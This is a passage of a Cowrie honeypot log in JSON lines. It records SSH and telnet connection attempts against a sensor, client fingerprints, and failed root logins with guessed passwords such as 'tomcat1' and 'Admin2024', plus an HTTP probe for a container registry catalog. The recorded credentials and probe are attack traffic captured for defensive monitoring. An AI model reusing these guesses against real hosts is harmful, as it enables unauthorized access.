16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:42.865624Z","src_ip":"147.45.199.80","session":"9fe7b2a64101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nokia3250","message":"login attempt [root/nokia3250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:43.166827Z","src_ip":"147.45.199.80","session":"9fe7b2a64101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57068,"dst_ip":"10.17.0.5","dst_port":23,"session":"596dbc6cd7a2","protocol":"telnet","message":"New connection: 152.42.224.71:57068 (10.17.0.5:23) [session: 596dbc6cd7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:43.227026Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:43.872943Z","src_ip":"103.75.183.219","session":"802f0960a72d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:44.269214Z","src_ip":"147.45.199.80","session":"9fe7b2a64101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41822,"dst_ip":"10.17.0.5","dst_port":23,"session":"f91bd84be3c0","protocol":"telnet","message":"New connection: 152.42.224.71:41822 (10.17.0.5:23) [session: f91bd84be3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:24:57.261809Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43514,"dst_ip":"10.17.0.5","dst_port":23,"session":"4705d4b61f03","protocol":"telnet","message":"New connection: 152.42.224.71:43514 (10.17.0.5:23) [session: 4705d4b61f03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:07.869909Z"}
{"eventid":"cowrie.session.closed","duration":55.95693397521973,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:12.712574Z","src_ip":"152.42.224.71","session":"d33ca5c945b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":42780,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ad54d673c31","protocol":"ssh","message":"New connection: 43.133.148.170:42780 (10.17.0.5:22) [session: 5ad54d673c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:17.328837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:17.334596Z","src_ip":"43.133.148.170","session":"5ad54d673c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:17.587564Z","src_ip":"43.133.148.170","session":"5ad54d673c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tomcat1","message":"login attempt [root/tomcat1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:18.622136Z","src_ip":"43.133.148.170","session":"5ad54d673c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:19.876633Z","src_ip":"43.133.148.170","session":"5ad54d673c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.64850401878357,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:21.069685Z","src_ip":"152.42.224.71","session":"9ae1c8ea4a4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":66.71465182304382,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:23.347667Z","src_ip":"152.42.224.71","session":"e0f42d665821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52450,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0057f5462c5","protocol":"telnet","message":"New connection: 152.42.224.71:52450 (10.17.0.5:23) [session: e0057f5462c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:29.710276Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":52294,"dst_ip":"10.17.0.5","dst_port":22,"session":"10b493bb8806","protocol":"ssh","message":"New connection: 124.109.2.211:52294 (10.17.0.5:22) [session: 10b493bb8806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:30.272278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:30.278546Z","src_ip":"124.109.2.211","session":"10b493bb8806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:30.537808Z","src_ip":"124.109.2.211","session":"10b493bb8806","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blockchain","message":"login attempt [root/blockchain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:31.567512Z","src_ip":"124.109.2.211","session":"10b493bb8806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:32.841830Z","src_ip":"124.109.2.211","session":"10b493bb8806","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.69743084907532,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:43.959138Z","src_ip":"152.42.224.71","session":"f91bd84be3c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00286102294922,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:52.163524Z","src_ip":"152.42.224.71","session":"99f55562446b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":57938,"dst_ip":"10.17.0.5","dst_port":22,"session":"d91af85c9bfc","protocol":"ssh","message":"New connection: 43.245.98.60:57938 (10.17.0.5:22) [session: d91af85c9bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:53.718421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:53.723833Z","src_ip":"43.245.98.60","session":"d91af85c9bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:53.980235Z","src_ip":"43.245.98.60","session":"d91af85c9bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9c63c86ccae","protocol":"telnet","message":"New connection: 152.42.224.71:52370 (10.17.0.5:23) [session: e9c63c86ccae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:54.135716Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"guitar","message":"login attempt [root/guitar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:55.013633Z","src_ip":"43.245.98.60","session":"d91af85c9bfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:25:56.267455Z","src_ip":"43.245.98.60","session":"d91af85c9bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45412,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7a4ff0d348","protocol":"telnet","message":"New connection: 152.42.224.71:45412 (10.17.0.5:23) [session: 0a7a4ff0d348]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:01.212632Z"}
{"eventid":"cowrie.session.closed","duration":56.24283695220947,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:04.112584Z","src_ip":"152.42.224.71","session":"4705d4b61f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58804,"dst_ip":"10.17.0.5","dst_port":23,"session":"47740f6fc643","protocol":"telnet","message":"New connection: 152.42.224.71:58804 (10.17.0.5:23) [session: 47740f6fc643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:07.261394Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58816,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d4c3d862215","protocol":"telnet","message":"New connection: 152.42.224.71:58816 (10.17.0.5:23) [session: 1d4c3d862215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:10.178934Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ddf239f8b97","protocol":"telnet","message":"New connection: 152.42.224.71:58824 (10.17.0.5:23) [session: 8ddf239f8b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:12.290846Z"}
{"eventid":"cowrie.session.closed","duration":50.151692152023315,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:19.861843Z","src_ip":"152.42.224.71","session":"e0057f5462c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58562,"dst_ip":"10.17.0.5","dst_port":23,"session":"646595cea357","protocol":"telnet","message":"New connection: 152.42.224.71:58562 (10.17.0.5:23) [session: 646595cea357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:21.259718Z"}
{"eventid":"cowrie.session.closed","duration":120.00101137161255,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:25.035686Z","src_ip":"152.42.224.71","session":"e2f42fcdf329","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.65.32","src_port":28300,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f7aa4026c47","protocol":"telnet","message":"New connection: 68.183.65.32:28300 (10.17.0.5:23) [session: 5f7aa4026c47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:30.525970Z"}
{"eventid":"cowrie.login.failed","username":"GET /v2/_catalog HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /v2/_catalog HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:30.531215Z","src_ip":"68.183.65.32","session":"5f7aa4026c47","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Go-http-client/1.1","password":"Connection: close","message":"login attempt [User-Agent: Go-http-client/1.1/Connection: close] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:30.535228Z","src_ip":"68.183.65.32","session":"5f7aa4026c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09310626983642578,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:30.618981Z","src_ip":"68.183.65.32","session":"5f7aa4026c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.619021892547607,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:37.797834Z","src_ip":"152.42.224.71","session":"1d4c3d862215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.65.32","src_port":46802,"dst_ip":"10.17.0.5","dst_port":23,"session":"badc348a4d9d","protocol":"telnet","message":"New connection: 68.183.65.32:46802 (10.17.0.5:23) [session: badc348a4d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:41.022722Z"}
{"eventid":"cowrie.session.closed","duration":0.08029389381408691,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:41.102945Z","src_ip":"68.183.65.32","session":"badc348a4d9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00208878517151,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:43.229008Z","src_ip":"152.42.224.71","session":"596dbc6cd7a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38170,"dst_ip":"10.17.0.5","dst_port":23,"session":"88b5aa0259ce","protocol":"telnet","message":"New connection: 152.42.224.71:38170 (10.17.0.5:23) [session: 88b5aa0259ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:44.591115Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":33892,"dst_ip":"10.17.0.5","dst_port":22,"session":"014698200388","protocol":"ssh","message":"New connection: 43.133.148.170:33892 (10.17.0.5:22) [session: 014698200388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:44.899063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:44.903882Z","src_ip":"43.133.148.170","session":"014698200388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38174,"dst_ip":"10.17.0.5","dst_port":23,"session":"3db366425c41","protocol":"telnet","message":"New connection: 152.42.224.71:38174 (10.17.0.5:23) [session: 3db366425c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:45.139440Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:45.161060Z","src_ip":"43.133.148.170","session":"014698200388","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:46.223713Z","src_ip":"43.133.148.170","session":"014698200388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:47.483928Z","src_ip":"43.133.148.170","session":"014698200388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.480891942977905,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:48.742151Z","src_ip":"152.42.224.71","session":"47740f6fc643","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.65.32","src_port":58172,"dst_ip":"10.17.0.5","dst_port":23,"session":"693c9d99380f","protocol":"telnet","message":"New connection: 68.183.65.32:58172 (10.17.0.5:23) [session: 693c9d99380f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:51.009413Z"}
{"eventid":"cowrie.session.closed","duration":0.08495259284973145,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:51.094270Z","src_ip":"68.183.65.32","session":"693c9d99380f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":40790,"dst_ip":"10.17.0.5","dst_port":22,"session":"67ba145f4709","protocol":"ssh","message":"New connection: 124.109.2.211:40790 (10.17.0.5:22) [session: 67ba145f4709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:53.271694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:53.275909Z","src_ip":"124.109.2.211","session":"67ba145f4709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:53.539732Z","src_ip":"124.109.2.211","session":"67ba145f4709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55334,"dst_ip":"10.17.0.5","dst_port":23,"session":"8848cf7e40dc","protocol":"telnet","message":"New connection: 152.42.224.71:55334 (10.17.0.5:23) [session: 8848cf7e40dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:54.000906Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1998","message":"login attempt [root/1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:26:54.571454Z","src_ip":"124.109.2.211","session":"67ba145f4709","protocol":"ssh"}
